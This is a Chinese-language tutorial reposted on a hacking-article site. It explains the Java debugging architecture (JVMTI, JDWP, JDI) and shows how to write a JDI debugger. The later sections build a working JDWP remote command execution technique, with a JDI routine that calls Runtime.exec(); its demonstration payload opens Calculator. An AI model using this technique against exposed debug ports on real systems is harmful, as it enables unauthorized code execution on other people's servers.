记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

从编写JDI调试到实现JDWP命令执行

2022-05-08 11:42

1.JPDA

JPDA(Java Platform Debugger Architecture) 是 Java 平台调试体系结构的缩写,通过 JPDA 提供的 API,开发人员可以方便灵活的搭建 Java 调试应用程序。
JPDA 主要由三个部分组成:

Java 虚拟机工具接口(JVMTI)Java 调试线协议(JDWP)Java 调试接口(JDI)

2.JVM TI

JVMTI其实就是一套由虚拟机直接提供的本地代码接口,包含了调试、监听、线程分析及覆盖率分析等接口,它处于整个JPDA体系的最底层。

一般可以通过采用建立一个Agent的方式来使用JVMTI,其显著的特征就是通过设置回调函数的方式,从java虚拟机上得到当前运行态信息,并做出自己的相应的操作,抑或操作虚拟机的运行态,以达到一些特定的目的(如优化程序性能)。

把Agent编译成一个动态链接库后,就可以在java程序启动/运行的时候(增加启动参数agentlib/ agentpath)来加载它。

以启动时加载为例:

3.JDWP

JDWP 是 Java Debug Wire Protocol 的缩写,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。

Target vm 中运行着我们希望要调试的程序,它与一般运行的 Java 虚拟机没有什么区别,只是在启动时加载了 Agent JDWP 从而具备了调试功能。

debugger 向运行中的 target vm 发送命令来获取 target vm 运行时的状态和控制 Java 程序的执行。

3.1JDWP Start Up

在建立传输链接之后,连接的两端首先会进行握手,然后再进行其它数据包的传输。
握手的步骤有以下两步:
1. debugger侧发送14 bytes 的 14个ASCII字符 “JDWP-Handshake”到VM中;
2. VM回复相同的14 bytes “JDWP-Handshake” 完成握手。

https://docs.oracle.com/en/java/javase/12/docs/specs/jdwp/jdwp-spec.html

3.2Packet结构

命令包(command packet)和回复包(reply packet),Packet分为包头(header)和数据(data)两部分组成。包头部分的结构和长度是固定的,而数据部分的长度是可变的。command packet和reply packet的包头长度相同,都是11个bytes。

Length 和 Id 字段是不言自明的。Flag 字段仅用于区分请求包和回复包,值为 0x80 表示回复包。CommandSet 字段定义了命令的类别,如下表所示。 

1
2
3
4
命令集      命令
0x40 JVM 采取的行动(例如设置断点)
0x40–0x7F 向调试器提供事件信息(例如,JVM 已达到断点并等待进一步的操作)
0x80 第三方扩展

请记住,我们要执行任意代码,以下命令对我们来说是最有趣的。
• VirtualMachine/IDSizes 定义了 JVM 处理的数据结构的大小。这是 nmap 脚本 jdwp-exec.nse[11] 不起作用的原因之一,因为该脚本使用硬编码的大小。
• ClassType/InvokeMethod 允许您调用静态函数。
• ObjectReference/InvokeMethod 允许您从 JVM 中的实例化对象调用函数。
• StackFrame/(Get|Set)Values 提供从线程堆栈推送/弹出功能。
• Event/Composite 强制 JVM 对该命令声明的特定行为做出反应。此命令是调试目的的主要关键,因为它允许设置断点,在运行时单步执行线程,并在以与 GDB 或 WinDBG 完全相同的方式访问/修改值时收到通知。
 
JDWP 不仅允许您访问和调用已驻留在内存中的对象,还允许您创建或覆盖数据。
• VirtualMachine/CreateString 允许您将字符串转换为存在于 JVM 运行时中的 java.lang.String。
• VirtualMachine/RedefineClasses 允许您安装新的类定义。

上述的定义是重要的,JDI可以利用invokeMethod调用目标 VM 中此对象的指定方法,这是实现命令执行的关键

1
2
3
4
5
ObjectReference getObjectReference = vm.classesByName("java.lang.Runtime").get(0).classObject();
Method getMethod = vm.classesByName("java.lang.Class").get(0).methodsByName("getMethod").get(0);
…….

ObjectReference getRuntimeMethodRe = (ObjectReference) getObjectReference.invokeMethod(threadReference, getMethod, param1, 1);

3.3Using JDWP

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=8000

-agentlib:jdwp :JVM加载jdwp代理transport=dt_socket : 使用socket传输server=y : JVM将listen for a debugger注入到其中suspend=y  : JVM在执行主类之前等待debugger attach,如果设置为n,则直接执行主类,同时进行监听address=8000 : 指定套接字的端口,在JDK9及以后,这种配置只监听localhost的8000端口

4.Debug过程

1、先建立起了 socket 连接

2、将断点位置创建了断点事件通过 JDI 接口传给了 服务端(程序端)的 VM,VM 调用 suspend 将 VM 挂起

3、VM 挂起之后将客户端需要获取的 VM 信息返回给客户端,返回之后 VM resume 恢复其运行状态

4、客户端获取到 VM 返回的信息之后可以通过不同的方式展示给客户

4.1基于JDI编写一个调试代码

1.创建Connector

1
2
3
4
5
6
7
8
9
10
11
12
13
VirtualMachineManager vmm = Bootstrap.virtualMachineManager();
List<AttachingConnector> connectors = vmm.attachingConnectors();
SocketAttachingConnector sac = null;
for (AttachingConnector ac : connectors) {
if (ac instanceof SocketAttachingConnector) {
sac = (SocketAttachingConnector) ac;
break;
}
}
if (sac == null) {
System.out.println("JDI error");
return;
}

2.链接到JVM

1
2
3
4
5
6
7
8
9
10
Map<String, Connector.Argument> arguments = sac.defaultArguments();
Connector.Argument hostArg = (Connector.Argument) arguments.get(HOST);
Connector.Argument portArg = (Connector.Argument) arguments.get(PORT);

hostArg.setValue("127.0.0.1");
portArg.setValue(String.valueOf(8800));

vm = sac.attach(arguments);
process = vm.process();
eventRequestManager = vm.eventRequestManager();

3.获取要调试的类和方法名称

1
2
3
4
5
6
7
8
9
10
11
12
List<ReferenceType> classesByName = vm.classesByName("test.Test");
if (classesByName == null || classesByName.size() == 0) {
System.out.println("No class found");
return;
}
ReferenceType rt = classesByName.get(0);
List<Method> methodsByName = rt.methodsByName("printHello");
if (methodsByName == null || methodsByName.size() == 0) {
System.out.println("No method found");
return;
}
Method method = methodsByName.get(0);

4.设置要调试的断点

获取断点进程

1
2
3
4
5
BreakpointEvent breakpointEvent = (BreakpointEvent) event;
ThreadReference threadReference = breakpointEvent.thread();
StackFrame stackFrame = threadReference.frame(0);

stackFrame.visibleVariables();

设置断点位置和断点事件

1
2
3
4
5
6
7
8
9
// Get location
ReferenceType referenceType = classPrepareEvent.referenceType();
List locations = referenceType.locationsOfLine(34);
Location location = (Location) locations.get(0);

// Create BreakpointEvent
BreakpointRequest breakpointRequest = eventRequestManager.createBreakpointRequest(location);
breakpointRequest.setSuspendPolicy(EventRequest.SUSPEND_ALL);
breakpointRequest.enable();

5.监听断点并执行调试

1
2
3
4
5
6
7
8
vm.setDebugTraceMode(VirtualMachine.TRACE_EVENTS);
vm.resume();

List<Location> locations = classesByName.get(0).locationsOfLine(34);
BreakpointRequest breakpointRequest = eventRequestManager.createBreakpointRequest(locations.get(0));
breakpointRequest.enable();

eventLoop(); //要调试的断点和执行

5.JDWP 命令执行原理

原理部分参考:https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

  1. 获取 Java 运行时参考
    JVM 通过对象的引用来操作对象。因此,我们的漏洞利用必须首先获取对 java.lang.Runtime 类的引用。从这个类中,我们需要对 getRuntime() 方法的引用。这是通过获取所有类(AllClasses 数据包)和我们正在寻找的类中的所有方法(ReferenceType/Methods 数据包)来执行的。 
  2. 设置断点并等待通知(异步调用)
    这是我们利用的关键。要调用任意代码,我们需要处于正在运行的线程上下文中。为此,hack 是在已知在运行时调用的方法上设置断点。如前所述,JDI 中的断点是一个异步事件,其类型设置为 BREAKPOINT(0x02)。当命中时,JVM 向我们的调试器发送一个 EventData 数据包,其中包含我们的断点 ID,更重要的是,对命中它的线程的引用。

因此,将其设置在经常调用的方法上是一个好主意,例如 java.net.ServerSocket.accept(),每次服务器接收到新的网络连接时很可能会调用该方法。但是,必须记住,它可以是运行时存在的任何方法。
 
3.在Runtime中分配一个Java String对象来执行payload
我们将在 JVM 运行时中执行代码,因此我们所有的操作数据(如字符串)必须存在于 JVM 运行时中(即拥有运行时引用)。这很容易通过发送 CreateString 命令来完成。

  1. 从断点上下文中获取运行时对象
    在这一点上,我们几乎拥有成功、可靠利用所需的所有元素。我们缺少的是运行时对象引用。获取很简单,我们可以简单的在JVM运行时执行java.lang.Runtime.getRuntime()静态方法[8],通过发送ClassType/InvokeMethod包并提供Runtime类和线程引用。 
  2. 在Runtime实例中查找并调用exec()方法
    最后一步是简单地在上一步获得的运行时静态对象中查找 exec() 方法,并使用我们在第三步中创建的 String 对象调用它(通过发送 ObjectReference/InvokeMethod 数据包)。

 

6.基于JDI实现命令调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private static void exec(ThreadReference threadReference) throws Exception {
//目标虚拟机中对象的类型。 ReferenceType包含The Java™ Language Specification中定义的类,接口和数组类型。 所有ReferenceType对象都属于以下子接口之一: ClassType用于类, InterfaceType用于接口, ArrayType用于阵列。 请注意,原始类(例如Integer.TYPE的reflected type )被表示为ClassType。
// VM为所有三个创建Class对象,因此从VM的角度来看,每个ReferenceType映射到一个不同的Class对象。

/*//获取对象
Class cls = Class.forName("java.lang.Runtime");
//实例化对象
Object ob = cls.getMethod("getRuntime",null).invoke(null,null);
// 反射调用执行命令
cls.getMethod("exec", String.class).invoke(ob,"calc");
*/
ObjectReference getObjectReference = vm.classesByName("java.lang.Runtime").get(0).classObject();
Method getMethod = vm.classesByName("java.lang.Class").get(0).methodsByName("getMethod").get(0);
//Java.lang.Class.getMethod()
//返回一个 Method 对象
Method getMethodInvoke = vm.classesByName("java.lang.reflect.Method").get(0).methodsByName("invoke").get(0);
//java.lang.reflect.Method.invoke
Method getExecMethod = vm.classesByName("java.lang.Runtime").get(0).methodsByName("exec").get(0);
//java.lang.Runtime.exec
List<Value> param1 = new ArrayList<>();

param1.add(vm.mirrorOf("getRuntime"));
//在此虚拟机中创建一个字符串。
ObjectReference getRuntimeMethodRe = (ObjectReference) getObjectReference.invokeMethod(threadReference, getMethod, param1, 1);
//invokeMethod(ThreadReference thread, Method method, List<? extends Value> arguments, int options)
//调用目标 VM 中此对象的指定方法。 java.lang.Runtime.getRuntime()

List<Value> param2 = new ArrayList<>();
param2.add(null);
ObjectReference runtimeIns = (ObjectReference) getRuntimeMethodRe.invokeMethod(threadReference, getMethodInvoke, param2, 1);
//java.lang.Runtime.getRuntime().invoke()

List<Value> param3 = new ArrayList<>();
param3.add(vm.mirrorOf("open /System/Applications/Calculator.app"));

runtimeIns.invokeMethod(threadReference, getExecMethod, param3, 1);
//java.lang.Runtime.getRuntime().exec("cmd").invoke()
}

监听可能会执行到的线程,等待触发,可以选择大概率会被触发的类的线程来监听,例如“java.net.ServerSocket.accep”、“java.lang.String”等




知识来源: https://uxss.net/2021/09/06/%E4%BB%8E%E7%BC%96%E5%86%99JDI%E8%B0%83%E8%AF%95%E5%88%B0%E5%AE%9E%E7%8E%B0JDWP%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/

阅读:91102 | 评论:0 | 标签:执行

想收藏或者和大家分享这篇好文章→复制链接地址

“从编写JDI调试到实现JDWP命令执行”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

标签云 ☁